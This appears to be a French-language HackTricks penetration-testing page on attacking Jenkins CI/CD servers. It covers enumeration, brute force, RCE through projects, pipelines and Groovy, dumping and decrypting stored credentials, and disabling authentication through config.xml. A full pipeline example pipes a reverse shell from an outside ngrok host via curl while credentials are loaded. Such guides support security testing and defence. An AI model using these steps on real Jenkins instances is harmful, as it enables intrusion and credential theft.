Jenkins Security

Support HackTricks

Basic Information

Jenkins est un outil qui offre une méthode simple pour établir un environnement de continuous integration ou continuous delivery (CI/CD) pour presque n'importe quelle combinaison de langages de programmation et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le besoin de créer des scripts pour des étapes individuelles, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.

Basic Jenkins Information

Unauthenticated Enumeration

Afin de rechercher des pages Jenkins intéressantes sans authentification comme (/people ou /asynchPeople, cela liste les utilisateurs actuels) vous pouvez utiliser:

msf> use auxiliary/scanner/http/jenkins_enum

Vérifiez si vous pouvez exécuter des commandes sans avoir besoin d'authentification :

msf> use auxiliary/scanner/http/jenkins_command

Sans identifiants, vous pouvez regarder à l'intérieur du chemin /asynchPeople/ ou /securityRealm/user/admin/search/index?q= pour noms d'utilisateur.

Vous pourrez peut-être obtenir la version de Jenkins à partir du chemin /oops ou /error.

Vulnérabilités Connues

Connexion

Dans les informations de base, vous pouvez vérifier toutes les façons de se connecter à Jenkins :

Basic Jenkins Information

Inscription

Vous pourrez trouver des instances de Jenkins qui vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.

Connexion SSO

De plus, si la fonctionnalité/plugins SSO étaient présents, vous devriez essayer de vous connecter à l'application en utilisant un compte test (c'est-à-dire, un compte Github/Bitbucket test). Astuce de ici.

Bruteforce

Jenkins manque de politique de mot de passe et de mitigation de bruteforce de nom d'utilisateur. Il est essentiel de bruteforcer les utilisateurs puisque des mots de passe faibles ou des noms d'utilisateur comme mots de passe peuvent être utilisés, même des noms d'utilisateur inversés comme mots de passe.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Utilisez ce script python ou ce script powershell.

Contournement de la liste blanche IP

De nombreuses organisations combinent des systèmes de gestion de code source (SCM) basés sur le SaaS tels que GitHub ou GitLab avec une solution CI interne auto-hébergée comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de recevoir des événements webhook des fournisseurs de contrôle de source SaaS, principalement pour déclencher des travaux de pipeline.

Pour ce faire, les organisations mettent sur liste blanche les plages IP des plateformes SCM, leur permettant d'accéder au système CI interne via des webhooks. Cependant, il est important de noter que quiconque peut créer un compte sur GitHub ou GitLab et le configurer pour déclencher un webhook, envoyant potentiellement des requêtes au système CI interne.

Vérifiez : https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Abus internes de Jenkins

Dans ces scénarios, nous allons supposer que vous avez un compte valide pour accéder à Jenkins.

Selon le mécanisme d'autorisation configuré dans Jenkins et les permissions de l'utilisateur compromis, vous pourriez être en mesure ou non de réaliser les attaques suivantes.

Pour plus d'informations, consultez les informations de base :

Basic Jenkins Information

Liste des utilisateurs

Si vous avez accédé à Jenkins, vous pouvez lister d'autres utilisateurs enregistrés à http://127.0.0.1:8080/asynchPeople/

Dumping des builds pour trouver des secrets en clair

Utilisez ce script pour extraire les sorties de la console de construction et les variables d'environnement de construction afin de trouver des secrets en clair.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Vol de crédentiels SSH

Si l'utilisateur compromis a suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins et que les crédentiels SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait voler ces crédentiels en créant/modifiant un nœud et en définissant un hôte qui enregistrera les crédentiels sans vérifier la clé de l'hôte :

Vous trouverez généralement les crédentiels ssh de Jenkins dans un fournisseur global (/credentials/), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la section Dumping secrets.

RCE dans Jenkins

Obtenir un shell sur le serveur Jenkins donne à l'attaquant l'opportunité de divulguer tous les secrets et variables d'environnement et d'exploiter d'autres machines situées sur le même réseau ou même de rassembler des crédentiels cloud.

Par défaut, Jenkins s'exécute en tant que SYSTEM. Donc, le compromettre donnera à l'attaquant des privilèges SYSTEM.

RCE Création/Modification d'un projet

Créer/Modifier un projet est un moyen d'obtenir RCE sur le serveur Jenkins :

Jenkins RCE Creating/Modifying Project

RCE Exécution de script Groovy

Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus furtif que de créer un nouveau projet :

Jenkins RCE with Groovy Script

RCE Création/Modification de Pipeline

Vous pouvez également obtenir RCE en créant/modifiant un pipeline :

Jenkins RCE Creating/Modifying Pipeline

Exploitation de Pipeline

Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.

Pipelines de Build

Les pipelines peuvent également être utilisés comme mécanisme de build dans les projets, dans ce cas, il peut être configuré un fichier à l'intérieur du dépôt qui contiendra la syntaxe du pipeline. Par défaut, /Jenkinsfile est utilisé :

Il est également possible de stocker des fichiers de configuration de pipeline à d'autres endroits (dans d'autres dépôts par exemple) dans le but de séparer l'accès au dépôt et l'accès au pipeline.

Si un attaquant a un accès en écriture sur ce fichier, il pourra le modifier et déclencher potentiellement le pipeline sans même avoir accès à Jenkins. Il est possible que l'attaquant doive contourner certaines protections de branche (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).

Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :

  • Demande de tirage vers la branche principale (ou potentiellement vers d'autres branches)

  • Pousser vers la branche principale (ou potentiellement vers d'autres branches)

  • Mettre à jour la branche principale et attendre qu'elle soit exécutée d'une manière ou d'une autre

Si vous êtes un utilisateur externe, vous ne devriez pas vous attendre à créer une PR vers la branche principale du dépôt d'un autre utilisateur/organisation et déclencher le pipeline... mais si c'est mal configuré, vous pourriez complètement compromettre des entreprises juste en exploitant cela.

RCE de Pipeline

Dans la section RCE précédente, une technique a déjà été indiquée pour obtenir RCE en modifiant un pipeline.

Vérification des variables d'environnement

Il est possible de déclarer des variables d'environnement en texte clair pour l'ensemble du pipeline ou pour des étapes spécifiques. Ces variables d'environnement ne devraient pas contenir d'informations sensibles, mais un attaquant pourrait toujours vérifier toutes les configurations de pipeline/Jenkinsfiles :

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Pour des informations sur la façon dont les secrets sont généralement traités par Jenkins, consultez les informations de base :

Basic Jenkins Information

Les identifiants peuvent être scopés à des fournisseurs globaux (/credentials/) ou à des projets spécifiques (/job/<project-name>/configure). Par conséquent, pour exfiltrer tous les identifiants, vous devez compromettre au moins tous les projets qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.

Il y a un autre problème, pour obtenir un secret à l'intérieur de l'env d'un pipeline, vous devez connaître le nom et le type du secret. Par exemple, si vous essayez de charger un secret usernamePassword en tant que secret string, vous obtiendrez cette erreur :

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Voici comment charger certains types de secrets courants :

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

À la fin de cette page, vous pouvez trouver tous les types de credentials : https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

La meilleure façon de dump all the secrets at once est de compromettre la machine Jenkins (en exécutant un reverse shell dans le nœud intégré, par exemple) et ensuite leaker les master keys et les encrypted secrets et les déchiffrer hors ligne. Plus d'informations sur la façon de faire cela dans la section Nodes & Agents et dans la section Post Exploitation.

Triggers

D'après la documentation : La directive triggers définit les manières automatisées dont le Pipeline doit être relancé. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, triggers peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les triggers actuellement disponibles sont cron, pollSCM et upstream.

Exemple de Cron :

triggers { cron('H */4 * * 1-5') }

Vérifiez d'autres exemples dans la documentation.

Nœuds & Agents

Une instance Jenkins peut avoir différents agents fonctionnant sur différentes machines. Du point de vue d'un attaquant, l'accès à différentes machines signifie différentes potentielles informations d'identification cloud à voler ou différents accès réseau qui pourraient être abusés pour exploiter d'autres machines.

Pour plus d'informations, consultez les informations de base :

Basic Jenkins Information

Vous pouvez énumérer les nœuds configurés dans /computer/, vous trouverez généralement le Nœud intégré (qui est le nœud exécutant Jenkins) et potentiellement plus :

Il est particulièrement intéressant de compromettre le nœud intégré car il contient des informations sensibles de Jenkins.

Pour indiquer que vous souhaitez exécuter le pipeline dans le nœud Jenkins intégré, vous pouvez spécifier dans le pipeline la configuration suivante :

pipeline {
agent {label 'built-in'}

Exemple complet

Pipeline dans un agent spécifique, avec un déclencheur cron, avec des variables d'environnement de pipeline et de stage, chargeant 2 variables dans une étape et envoyant un reverse shell :

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Lecture de fichiers arbitraires à RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

Post exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Secrets Jenkins

Vous pouvez lister les secrets en accédant à /credentials/ si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier credentials.xml, mais les fichiers de configuration de build peuvent également contenir plus de credentials.

Si vous pouvez voir la configuration de chaque projet, vous pouvez également y voir les noms des credentials (secrets) utilisés pour accéder au dépôt et d'autres credentials du projet.

Depuis Groovy

Jenkins Dumping Secrets from Groovy

Depuis le disque

Ces fichiers sont nécessaires pour décrypter les secrets Jenkins :

  • secrets/master.key

  • secrets/hudson.util.Secret

De tels secrets peuvent généralement être trouvés dans :

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Voici une regex pour les trouver :

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Décrypter les secrets Jenkins hors ligne

Si vous avez extrait les mots de passe nécessaires pour déchiffrer les secrets, utilisez ce script pour déchiffrer ces secrets.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Décrypter les secrets Jenkins depuis Groovy

println(hudson.util.Secret.decrypt("{...}"))

Créer un nouvel utilisateur administrateur

  1. Accédez au fichier Jenkins config.xml dans /var/lib/jenkins/config.xml ou C:\Program Files (x86)\Jenkins\

  2. Recherchez le mot <useSecurity>true</useSecurity> et changez le mot true en false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Redémarrez le serveur Jenkins : service jenkins restart

  5. Maintenant, allez à nouveau sur le portail Jenkins et Jenkins ne demandera aucune information d'identification cette fois. Vous naviguez vers "Gérer Jenkins" pour définir à nouveau le mot de passe administrateur.

  6. Activez à nouveau la sécurité en changeant les paramètres en <useSecurity>true</useSecurity> et redémarrez à nouveau Jenkins.

Références

Soutenir HackTricks

Last updated